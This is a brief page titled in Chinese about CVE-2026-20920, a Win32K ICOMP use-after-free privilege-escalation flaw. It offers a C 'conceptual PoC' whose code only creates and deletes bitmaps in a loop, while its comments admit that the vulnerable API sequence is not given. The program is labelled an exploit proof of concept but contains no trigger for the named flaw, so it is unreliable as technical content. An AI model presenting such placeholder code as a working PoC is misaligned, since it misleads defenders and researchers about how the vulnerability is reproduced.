CVE-2026-20920: Windows Win32K ICOMP组件释放后重用权限提升漏洞

// CVE-2026-20920 PoC - Windows Win32K ICOMP Use After Free // This is a conceptual PoC for demonstration purposes #include <windows.h> #include <winuser.h> #include <stdio.h> // Trigger ICOMP UAF through specific Win32K API sequence void TriggerICOMPUAF() { HDC hdc = GetDC(NULL); // Create specific GDI objects to trigger ICOMP path // This requires specific conditions to trigger the UAF for (int i = 0; i < 1000; i++) { HBITMAP hBitmap = CreateBitmap(100, 100, 1, 32, NULL); SelectObject(hdc, hBitmap); DeleteObject(hBitmap); } // Trigger the vulnerable code path // The specific API sequence depends on detailed analysis ReleaseDC(NULL, hdc); } int main() { printf("CVE-2026-20920 PoC - Win32K ICOMP UAF\n"); printf("This PoC demonstrates the vulnerability trigger.\n"); printf("Actual exploitation requires specific conditions.\n"); TriggerICOMPUAF(); return 0; }